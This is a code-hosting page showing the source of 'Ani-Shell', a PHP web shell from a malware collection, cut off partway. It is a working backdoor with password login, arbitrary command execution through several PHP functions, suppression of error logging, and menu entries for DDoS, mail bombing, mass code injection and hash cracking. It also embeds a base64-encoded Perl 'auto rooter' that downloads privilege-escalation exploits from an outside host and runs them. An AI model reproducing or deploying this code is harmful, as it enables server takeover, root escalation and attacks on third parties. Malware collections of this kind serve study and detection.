PageRenderTime 58ms CodeModel.GetById 22ms RepoModel.GetById 0ms app.codeStats 0ms

/Backdoors/PHP/Ani-Shell.php

http://web-malware-collection.googlecode.com/
PHP | 1854 lines | 1634 code | 137 blank | 83 comment | 168 complexity | 889bfc9fbb8ee7832044fc575324d01a MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. []========================================
  4. []--------------Ani Shell-----------------
  5. []----------------------------------------
  6. []========================================
  7. []>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
  8. []========================================
  9. []+ Email: lionaneesh@gmail.com +
  10. []+ Twitter : twitter.com/lionaneesh +
  11. []========================================
  12. []
  13. []
  14. []
  15. []
  16. []
  17. []
  18. []
  19. []
  20. []
  21. [] C0de For India
  22. [] Hack For India
  23. [] Live for India
  24. []
  25. []
  26. Jai Hind
  27. */
  28. ini_set('max_execution_time',0);
  29. ini_set('memory_limit','999999999M');
  30. function Zip($source, $destination) // Thanks to Alix Axel
  31. {
  32. if (!extension_loaded('zip') || !file_exists($source)) {
  33. return false;
  34. }
  35. $zip = new ZipArchive();
  36. if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
  37. return false;
  38. }
  39. $source = str_replace('\\', '/', realpath($source));
  40. if (is_dir($source) === true)
  41. {
  42. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  43. foreach ($files as $file)
  44. {
  45. $file = str_replace('\\', '/', realpath($file));
  46. if (is_dir($file) === true)
  47. {
  48. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  49. }
  50. else if (is_file($file) === true)
  51. {
  52. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  53. }
  54. }
  55. }
  56. else if (is_file($source) === true)
  57. {
  58. $zip->addFromString(basename($source), file_get_contents($source));
  59. }
  60. return $zip->close();
  61. }
  62. if(isset($_GET['zip'])) {
  63. $src = $_GET['zip'];
  64. $dst = getcwd()."/".basename($_GET['zip']).".zip";
  65. if (Zip($src, $dst) != false) {
  66. $filez = file_get_contents($dst);
  67. header("Content-type: application/octet-stream");
  68. header("Content-length: ".strlen($filez));
  69. header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
  70. echo $filez;
  71. }
  72. exit;
  73. }
  74. // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  75. /**************** Defines *********************************/
  76. $greeting = "0x xx W3lc0m3 M4st3r xx x0";
  77. $user = "lionaneesh";
  78. $pass = "lionaneesh";
  79. $lock = "on"; // set this to off if you dont need the login page
  80. $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  81. $tracebackFeature = "off"; // set this feature to on to enable email alerts
  82. $ownerEmail = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
  83. $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  84. $phpVersion = phpversion();
  85. $self = $_SERVER["PHP_SELF"]; // Where am i
  86. $sm = @ini_get('safe_mode');
  87. $SEPARATOR = '/'; // Default Directory separator
  88. $os = "N/D";
  89. if(stristr(php_uname(),"Windows"))
  90. {
  91. $SEPARATOR = '\\';
  92. $os = "Windows";
  93. }
  94. else if(stristr(php_uname(),"Linux"))
  95. {
  96. $os = "Linux";
  97. }
  98. //*************************************************************/
  99. // -------------- Traceback Functions
  100. function sendLoginAlert()
  101. {
  102. global $ownerEmail;
  103. global $url;
  104. $accesedIp = $_SERVER['REMOTE_ADDR'];
  105. $randomInt = rand(0,1000000); # to avoid id blocking
  106. $from = "ani-shell$randomInt@fbi.gov";
  107. //echo $from;
  108. if(function_exists('mail'))
  109. {
  110. $subject = "Shell Accessed -- Ani-Shell --";
  111. $message = "
  112. Hey Owner ,
  113. Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  114. If its not you :-
  115. 1. Please check if the shell is secured.
  116. 2. Change your user name and Password.
  117. 3. Check if lock is 0n!
  118. Thanking You
  119. Yours Faithfully
  120. Ani-Shell
  121. ";
  122. mail($ownerEmail,$subject,$message,'From:'.$from);
  123. }
  124. }
  125. //---------------------------------------------------------
  126. if(function_exists('session_start') && $lock == 'on')
  127. {
  128. session_start();
  129. }
  130. else
  131. {
  132. // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  133. $lock = 'off';
  134. }
  135. //logout
  136. if(isset($_GET['logout']) && $lock == 'on')
  137. {
  138. $_SESSION['authenticated'] = 0;
  139. session_destroy();
  140. header("location: ".$_SERVER['PHP_SELF']);
  141. }
  142. ini_set('max_execution_time',0);
  143. /***************** Restoring *******************************/
  144. ini_restore("safe_mode_include_dir");
  145. ini_restore("safe_mode_exec_dir");
  146. ini_restore("disable_functions");
  147. ini_restore("allow_url_fopen");
  148. ini_restore("safe_mode");
  149. ini_restore("open_basedir");
  150. if(function_exists('ini_set'))
  151. {
  152. ini_set('error_log',NULL); // No alarming logs
  153. ini_set('log_errors',0); // No logging of errors
  154. ini_set('file_uploads',1); // Enable file uploads
  155. ini_set('allow_url_fopen',1); // allow url fopen
  156. }
  157. else
  158. {
  159. ini_alter('error_log',NULL);
  160. ini_alter('log_errors',0);
  161. ini_alter('file_uploads',1);
  162. ini_alter('allow_url_fopen',1);
  163. }
  164. // ----------------------------------------------------------------------------------------------------------------
  165. ?>
  166. <html>
  167. <head>
  168. <title>Ani-Shell | India</title>
  169. <?php
  170. if($antiCrawler != 'off')
  171. {
  172. ?>
  173. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  174. <?php
  175. }
  176. ?>
  177. <style>
  178. /*
  179. ==========================
  180. CSS Section
  181. ==========================
  182. */
  183. * {
  184. padding:0;
  185. margin:0;
  186. }
  187. html, body {
  188. height: 100%;
  189. }
  190. #container {
  191. min-height: 100%;
  192. margin-bottom: -330px;
  193. position: relative;
  194. }
  195. #footer {
  196. height: 330px;
  197. position: relative;
  198. }
  199. .clearfooter {
  200. height: 330px;
  201. clear: both;
  202. }
  203. .alert
  204. {
  205. background:red;
  206. color:white;
  207. font-weight:bold;
  208. }
  209. td.info
  210. {
  211. width:0px;
  212. }
  213. .bind
  214. {
  215. border: 1px solid #333333;
  216. margin: 15px auto 0;
  217. font-size: small;
  218. }
  219. div.end *
  220. {
  221. font-size:small;
  222. }
  223. div.end
  224. {
  225. width:100%;
  226. background:#222;
  227. }
  228. p.blink
  229. {
  230. text-decoration: blink;
  231. }
  232. body
  233. {
  234. background-color:black;
  235. color:rgb(35,182,39);
  236. font-family:Tahoma,Verdana,Arial;
  237. font-size: small;
  238. }
  239. input.own {
  240. background-color: Green;
  241. color: white;
  242. border : 1px solid #ccc;
  243. }
  244. blockquote.small
  245. {
  246. font-size: smaller;
  247. color: silver;
  248. text-align: center;
  249. }
  250. table.files
  251. {
  252. border-spacing: 10px;
  253. font-size: small;
  254. }
  255. h1 {
  256. padding: 4px;
  257. padding-bottom: 0px;
  258. margin-right : 5px;
  259. }
  260. div.logo
  261. {
  262. border-right: 1px aqua solid;
  263. }
  264. div.header
  265. {
  266. padding-left: 5px;
  267. font-size: small;
  268. text-align: left;
  269. }
  270. div.nav
  271. {
  272. margin-top:1px;
  273. height:60px;
  274. background-color: #ccc;
  275. }
  276. div.nav ul
  277. {
  278. list-style: none;
  279. padding: 4px;
  280. }
  281. div.nav li
  282. {
  283. float: left;
  284. margin-right: 10px;
  285. text-align:center;
  286. }
  287. textarea.cmd
  288. {
  289. border : 1px solid #111;
  290. background-color : green;
  291. font-family: Shell;
  292. color : white;
  293. margin-top: 30px;
  294. font-size:small;
  295. }
  296. input.cmd
  297. {
  298. background-color:black;
  299. color: white;
  300. width: 400px;
  301. border : 1px solid #ccc;
  302. }
  303. td.maintext
  304. {
  305. font-size: large;
  306. }
  307. #margins
  308. {
  309. margin-left: 10px;
  310. margin-top: 10px;
  311. color:white;
  312. }
  313. table.top
  314. {
  315. border-bottom: 1px solid aqua;
  316. width: 100%;
  317. }
  318. #borders
  319. {
  320. border-top : 1px solid aqua;
  321. border-left:1px solid aqua;
  322. border-bottom: 1px solid aqua;
  323. border-right: 1px solid aqua;
  324. margin-bottom:0;
  325. }
  326. td.file a , .file a
  327. {
  328. text-decoration:none;
  329. }
  330. a.dir
  331. {
  332. font-weight:bold;
  333. text-decoration:none;
  334. }
  335. td.dir a
  336. {
  337. text-decoration:none;
  338. }
  339. td.download,td.download2
  340. {
  341. color:green;
  342. }
  343. #spacing
  344. {
  345. padding:10px;
  346. margin-left:200px;
  347. }
  348. th.header
  349. {
  350. background: none repeat scroll 0 0 #191919;
  351. color: white;
  352. border-bottom : 1px solid #333333;
  353. }
  354. p.alert_red
  355. {
  356. background : red;
  357. color: white;
  358. }
  359. p.alert_green
  360. {
  361. background : lightgreen;
  362. color: black;
  363. }
  364. /*
  365. --------------------------------CSS END------------------------------------------------------
  366. */
  367. </style>
  368. </head>
  369. <body text="rgb(39,245,10)" bgcolor="black">
  370. <div id='container'>
  371. <?php
  372. if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  373. {
  374. if( $_POST['user'] == $user &&
  375. $_POST['pass'] == $pass )
  376. {
  377. $_SESSION['authenticated'] = 1;
  378. // --------------------- Tracebacks --------------------------------
  379. if($tracebackFeature == 'On')
  380. {
  381. sendLoginAlert();
  382. }
  383. // ------------------------------------------------------------------
  384. }
  385. }
  386. if($lock == 'off')
  387. {?>
  388. <p class="alert_red"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
  389. <?php
  390. }
  391. if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  392. {
  393. ?>
  394. <table>
  395. <tbody>
  396. <tr>
  397. <td width="500px">
  398. <pre>
  399. <font color="Orange">
  400. <b>
  401. []========================================
  402. []--------------Ani Shell-----------------
  403. []----------------------------------------</font><font color="white">
  404. []========================================
  405. []>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
  406. []========================================</font><font color="rgb(35,182,39)">
  407. [] Email: lionaneesh@gmail.com +
  408. [] Twitter : twitter.com/lionaneesh +
  409. []========================================</font><font color="grey">
  410. []
  411. []
  412. []
  413. []
  414. []
  415. []
  416. []
  417. []
  418. []
  419. [] C0de For India
  420. [] Hack For India
  421. [] Live for India
  422. []
  423. []
  424. </b>
  425. </pre>
  426. </td>
  427. <td>
  428. <?php
  429. // <div id="wassup">
  430. // include("http://ani-shell.sourceforge.net/wassup.txt");
  431. //</div>
  432. ?>
  433. <h1><?php echo $greeting;?></h1><br /><br />
  434. <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  435. <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/>
  436. </form>
  437. </td>
  438. </tr>
  439. </tbody>
  440. </table>
  441. <?php
  442. }
  443. //---------------------------------- We are authenticated now-------------------------------------
  444. //Launch the shell
  445. else
  446. {
  447. //---------------------------------- Fuctions ---------------------------------------------------
  448. function showDrives()
  449. {
  450. global $self;
  451. foreach(range('A','Z') as $drive)
  452. {
  453. if(is_dir($drive.':\\'))
  454. {
  455. ?>
  456. <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  457. <?php echo $drive.":\\" ?>
  458. </a>
  459. <?php
  460. }
  461. }
  462. }
  463. function HumanReadableFilesize($size)
  464. {
  465. $mod = 1024;
  466. $units = explode(' ','B KB MB GB TB PB');
  467. for ($i = 0; $size > $mod; $i++)
  468. {
  469. $size /= $mod;
  470. }
  471. return round($size, 2) . ' ' . $units[$i];
  472. }
  473. function getClientIp()
  474. {
  475. echo $_SERVER['REMOTE_ADDR'];
  476. }
  477. function getServerIp()
  478. {
  479. echo getenv('SERVER_ADDR');
  480. }
  481. function getSoftwareInfo()
  482. {
  483. echo php_uname();
  484. }
  485. function diskSpace()
  486. {
  487. echo HumanReadableFilesize(disk_total_space("/"));
  488. }
  489. function freeSpace()
  490. {
  491. echo HumanReadableFilesize(disk_free_space("/"));
  492. }
  493. function getSafeMode()
  494. {
  495. global $sm;
  496. echo($sm?"ON (Most of the Features will Not Work)":"OFF");
  497. }
  498. function getDisabledFunctions()
  499. {
  500. if(!ini_get('disable_functions'))
  501. {
  502. echo "None";
  503. }
  504. else
  505. {
  506. echo @ini_get('disable_functions');
  507. }
  508. }
  509. function getFilePermissions($file)
  510. {
  511. $perms = fileperms($file);
  512. if (($perms & 0xC000) == 0xC000) {
  513. // Socket
  514. $info = 's';
  515. } elseif (($perms & 0xA000) == 0xA000) {
  516. // Symbolic Link
  517. $info = 'l';
  518. } elseif (($perms & 0x8000) == 0x8000) {
  519. // Regular
  520. $info = '-';
  521. } elseif (($perms & 0x6000) == 0x6000) {
  522. // Block special
  523. $info = 'b';
  524. } elseif (($perms & 0x4000) == 0x4000) {
  525. // Directory
  526. $info = 'd';
  527. } elseif (($perms & 0x2000) == 0x2000) {
  528. // Character special
  529. $info = 'c';
  530. } elseif (($perms & 0x1000) == 0x1000) {
  531. // FIFO pipe
  532. $info = 'p';
  533. } else {
  534. // Unknown
  535. $info = 'u';
  536. }
  537. // Owner
  538. $info .= (($perms & 0x0100) ? 'r' : '-');
  539. $info .= (($perms & 0x0080) ? 'w' : '-');
  540. $info .= (($perms & 0x0040) ?
  541. (($perms & 0x0800) ? 's' : 'x' ) :
  542. (($perms & 0x0800) ? 'S' : '-'));
  543. // Group
  544. $info .= (($perms & 0x0020) ? 'r' : '-');
  545. $info .= (($perms & 0x0010) ? 'w' : '-');
  546. $info .= (($perms & 0x0008) ?
  547. (($perms & 0x0400) ? 's' : 'x' ) :
  548. (($perms & 0x0400) ? 'S' : '-'));
  549. // World
  550. $info .= (($perms & 0x0004) ? 'r' : '-');
  551. $info .= (($perms & 0x0002) ? 'w' : '-');
  552. $info .= (($perms & 0x0001) ?
  553. (($perms & 0x0200) ? 't' : 'x' ) :
  554. (($perms & 0x0200) ? 'T' : '-'));
  555. return $info;
  556. }
  557. // Dir size
  558. /**
  559. * Get the directory size
  560. * @param directory $directory
  561. * @return integer
  562. */
  563. function dirSize($directory) {
  564. $size = 0;
  565. foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
  566. try {
  567. $size += $file->getSize();
  568. }
  569. catch (Exception $e){ // Symlinks and other shits
  570. $size += 0;
  571. }
  572. }
  573. return $size;
  574. }
  575. /***********************************************************/
  576. // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  577. // Turned OFF!
  578. /**********************************************************/
  579. function exec_all($command)
  580. {
  581. $output = '';
  582. if(function_exists('exec'))
  583. {
  584. exec($command,$output);
  585. $output = join("\n",$output);
  586. }
  587. else if(function_exists('shell_exec'))
  588. {
  589. $output = shell_exec($command);
  590. }
  591. else if(function_exists('popen'))
  592. {
  593. $handle = popen($command , "r"); // Open the command pipe for reading
  594. if(is_resource($handle))
  595. {
  596. if(function_exists('fread') && function_exists('feof'))
  597. {
  598. while(!feof($handle))
  599. {
  600. $output .= fread($handle, 512);
  601. }
  602. }
  603. else if(function_exists('fgets') && function_exists('feof'))
  604. {
  605. while(!feof($handle))
  606. {
  607. $output .= fgets($handle,512);
  608. }
  609. }
  610. }
  611. pclose($handle);
  612. }
  613. else if(function_exists('system'))
  614. {
  615. ob_start(); //start output buffering
  616. system($command);
  617. $output = ob_get_contents(); // Get the ouput
  618. ob_end_clean(); // Stop output buffering
  619. }
  620. else if(function_exists('passthru'))
  621. {
  622. ob_start(); //start output buffering
  623. passthru($command);
  624. $output = ob_get_contents(); // Get the ouput
  625. ob_end_clean(); // Stop output buffering
  626. }
  627. else if(function_exists('proc_open'))
  628. {
  629. $descriptorspec = array(
  630. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  631. );
  632. $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  633. if(is_resource($handle))
  634. {
  635. if(function_exists('fread') && function_exists('feof'))
  636. {
  637. while(!feof($pipes[1]))
  638. {
  639. $output .= fread($pipes[1], 512);
  640. }
  641. }
  642. else if(function_exists('fgets') && function_exists('feof'))
  643. {
  644. while(!feof($pipes[1]))
  645. {
  646. $output .= fgets($pipes[1],512);
  647. }
  648. }
  649. }
  650. pclose($handle);
  651. }
  652. return(htmlspecialchars($output));
  653. }
  654. function magicQuote($text)
  655. {
  656. if (!get_magic_quotes_gpc())
  657. {
  658. return $text;
  659. }
  660. return stripslashes($text);
  661. }
  662. function md5Crack($hash , $list)
  663. {
  664. $fd = fopen($list,"r");
  665. if( strlen($hash) != 32 || $fd == FALSE)
  666. {
  667. // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  668. return "<p class='alert_red'>Hash or List invalid!</p>";
  669. }
  670. else
  671. {
  672. while (! feof( $fd ))
  673. {
  674. if( ($pwdList = fgets( $fd, 1024 )) == FALSE)
  675. {
  676. break;
  677. }
  678. $pwdList = trim($pwdList);
  679. if(md5($pwdList) == $hash )
  680. {
  681. return "<script>alert('Password Cracked');</script>\n<h2>Hash Cracked</h2><br /><br />\n<p class='alert_green'>Planintext : $pwdList</p>";
  682. }
  683. }
  684. }
  685. }
  686. function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass)
  687. {
  688. $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass);
  689. if(!$link)
  690. {
  691. return 'Could not connect: ' . mysql_error();
  692. }
  693. $resource = mysql_query($query);
  694. if(!$resource) return(mysql_error());
  695. }
  696. //------------------------------------------------------------------------------------------------
  697. ?>
  698. <table class="top">
  699. <tbody>
  700. <tr>
  701. <td width="300px;">
  702. <div class="logo">
  703. <img src="http://ani-shell.sourceforge.net/banner.jpg" />
  704. </div>
  705. </td>
  706. <td>
  707. <div class="header">
  708. <?php getSoftwareInfo(); ?><br />
  709. Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br />
  710. Safe Mode : <?php getSafeMode(); ?><br />
  711. <?php if($os == 'Windows'){ echo showDrives();} ?> <?php echo getcwd();?>
  712. </div>
  713. </td>
  714. </tr>
  715. </tbody>
  716. </table>
  717. <div class="header" id="borders">
  718. Server ADMIN: <?php echo $_SERVER['SERVER_ADMIN'];?> <font color="silver" >|</font>
  719. PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font>
  720. Curl : <?php echo function_exists('curl_version')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  721. Oracle : <?php echo function_exists('ocilogon')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  722. MySQL : <?php echo function_exists('mysql_connect')?("<font color='red'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font>
  723. MSSQL : <?php echo function_exists('mssql_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  724. PostgreSQL : <?php echo function_exists('pg_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  725. Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font>
  726. Space : <?php diskSpace(); ?> <font color="silver" >|</font>
  727. Free : <?php freeSpace(); ?>
  728. </table>
  729. </div>
  730. <div class="nav">
  731. <ul>
  732. <li><a href="<?php echo $self;?>">Home</a></li>
  733. <li><a href="<?php echo $self.'?upload';?>">Upload</a></li>
  734. <li><a href="<?php echo $self.'?shell';?>">Shell</a></li>
  735. <li><a href="<?php echo $self.'?r00t'?>">Aut0 R00t3r (Unix/Linux)</a></li>
  736. <li><a href="<?php echo $self.'?dos';?>">DDoS</a></li>
  737. <li><a href="<?php echo $self.'?fuzz';?>">Web-Server Fuzzer</a></li>
  738. <li><a href="<?php echo $self.'?mail'?>">Mass Mailer</a></li>
  739. <li><a href="<?php echo $self.'?bomb'?>">Mail Bomber</a></li>
  740. <li><a href="<?php echo $self.'?connect'?>">Connect</a></li>
  741. <li><a href="<?php echo $self.'?injector'?>">Mass Code Injector</a></li>
  742. <li><a href="<?php echo $self.'?obfuscate'?>">PHP Obfuscator</a></li>
  743. <li><a href="<?php echo $self.'?eval'?>">PHP Evaluate</a></li>
  744. <li><a href="<?php echo $self.'?md5'?>">MD5 Cracker</a></li>
  745. <li><a href="<?php echo $self.'?gdork'?>">Google Dork Creator</a></li>
  746. <?php if($lock == 'on')
  747. {
  748. ?>
  749. <li><a href="<?php echo $self.'?logout'?>">I m Out!</a></li>
  750. <?php
  751. }
  752. ?>
  753. </ul>
  754. </div>
  755. <center>
  756. <?php
  757. //-------------------------------- Check what he wants -------------------------------------------
  758. // Shell
  759. if(isset($_GET['shell']))
  760. {
  761. if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  762. {
  763. $result = "";
  764. }
  765. else
  766. {
  767. $result=exec_all($_GET['cmd']);
  768. }
  769. ?>
  770. <textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br />
  771. <form action="<?php echo $self;?>" method="GET">
  772. <!-- For Shell -->
  773. <input name="shell" type="hidden" />
  774. <!-- For CMD -->
  775. <input name="cmd" class="cmd" />
  776. <input name="submit" value="Spin That Shit!" class="own" type="submit" />
  777. </form>
  778. <?php
  779. }
  780. // Auto Rooter (Linux/Unix Only!) with Perl Installed
  781. else if(isset($_GET['r00t']))
  782. {
  783. // Note : The Perl Auto Rooter Perl Script was originally written by iskorpitx , All credits to him for an awesome
  784. // Piece of code , and thanks to eXes0ul for providing me the links . ;)
  785. $r00t =
  786. "IyEvdXNyL2Jpbi9wZXJsIA0KIyBFeHBsb2l0IHRvb2xzIHYyLjAgY29kZWQgYnkgaXNrb3JwaXR4
  787. IChUdXJraXNoIEhhY2tlcikNCiMgbGludXggc2VydmVybGVyZGUgZ2VjZXJsaWRpcg0KIyBpeWkg
  788. c2Fuc2xhcjopDQojIGJ5IGlza29ycGl0eA0KeyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  789. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvaXNrb3JwaXR4Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
  790. IGlza29ycGl0eCIpOyANCnN5c3RlbSgiLi9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImlkIik7IA0K
  791. c3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy80NCIpOyAg
  792. DQpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOyANCnN5c3RlbSgiLi80NCIpOyANCnN5c3RlbSgiaWQi
  793. KTsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvOTUy
  794. MSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7IA0Kc3lzdGVtKCIuLzk1MjEiKTsgDQpz
  795. eXN0ZW0oImlkIik7ICANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVT
  796. L2ZpbGUvY2MvZnJvb3QiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgDQpzeXN0ZW0o
  797. Ii4vZnJvb3QiKTsgDQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7
  798. DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgMjc3MDQuYyBkb3du
  799. bG9hZHMuc2VjdXJpdHlmb2N1cy5jb20vdnVsbmVyYWJpbGl0aWVzL2V4cGxvaXRzLzI3NzA0LmMi
  800. KTsgDQpzeXN0ZW0oImdjYyAyNzcwNC5jIC1vIDI3NzA0Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
  801. IDI3NzA0Iik7IA0Kc3lzdGVtKCIuLzI3NzA0Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJ
  802. ZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8v
  803. d2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMTgtMS5jIik7IA0Kc3lzdGVtKCJnY2MgLVdh
  804. bGwgLW8gMTgtMSAxOC0xLmMiKTsgDQpzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgt
  805. MS5jIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgtMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDE4
  806. LTMiKTsgDQpzeXN0ZW0oIi4vMTgtMSIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vMTgt
  807. MyIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBj
  808. dHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxl
  809. L2NjLzE4LTIiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgtMiIpOyANCnN5c3RlbSgiLi8xOC0y
  810. Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0
  811. cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUv
  812. Y2MvMTgtMSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IA0Kc3lzdGVtKCIuLzE4LTEi
  813. KTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3Ry
  814. bCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  815. Yy9ydW4iKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IA0Kc3lzdGVtKCIuL3J1biIpOyAN
  816. CnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2Nc
  817. biI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2V4
  818. cGxvaXQuYyIpOyAgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  819. DQpzeXN0ZW0oIndnZXQgcnVuX2V4cGxvaXRzLnNoIHdnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NN
  820. U19GSUxFUy9maWxlL2NjL3J1bl9leHBsb2l0cy5zaCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBy
  821. dW5fZXhwbG9pdHMuc2giKTsgDQpzeXN0ZW0oIi4vcnVuX2V4cGxvaXRzLnNoIik7IA0KcHJpbnQg
  822. IklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6
  823. Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHBsb2l0Iik7ICANCnN5c3RlbSgiY2ht
  824. b2QgNzc3IGV4cGxvaXQiKTsgDQpzeXN0ZW0oIi4vZXhwbG9pdCIpOyANCnByaW50ICJJZiB1IHIg
  825. cjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  826. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvcnVuMiIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBydW4y
  827. Iik7IA0Kc3lzdGVtKCIuL3J1bjIiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGV4
  828. cCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvZXhwIik7ICANCnN5c3RlbSgi
  829. Y2htb2QgNzc3IGV4cCIpOyANCnN5c3RlbSgiLi9leHAiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lz
  830. dGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHAxIik7ICAN
  831. CnN5c3RlbSgiY2htb2QgNzc3IGV4cDEiKTsgDQpzeXN0ZW0oIi4vZXhwMSIpOyANCnN5c3RlbSgi
  832. aWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2Nj
  833. L2V4cDIiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyANCnN5c3RlbSgiLi9leHAyIik7
  834. IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJ
  835. TEVTL2ZpbGUvY2MvZXhwMyIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7IA0Kc3lzdGVt
  836. KCIuL2V4cDMiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGV4cDQgaHR0cDovL3dh
  837. cjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2V4cDQiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3Nzcg
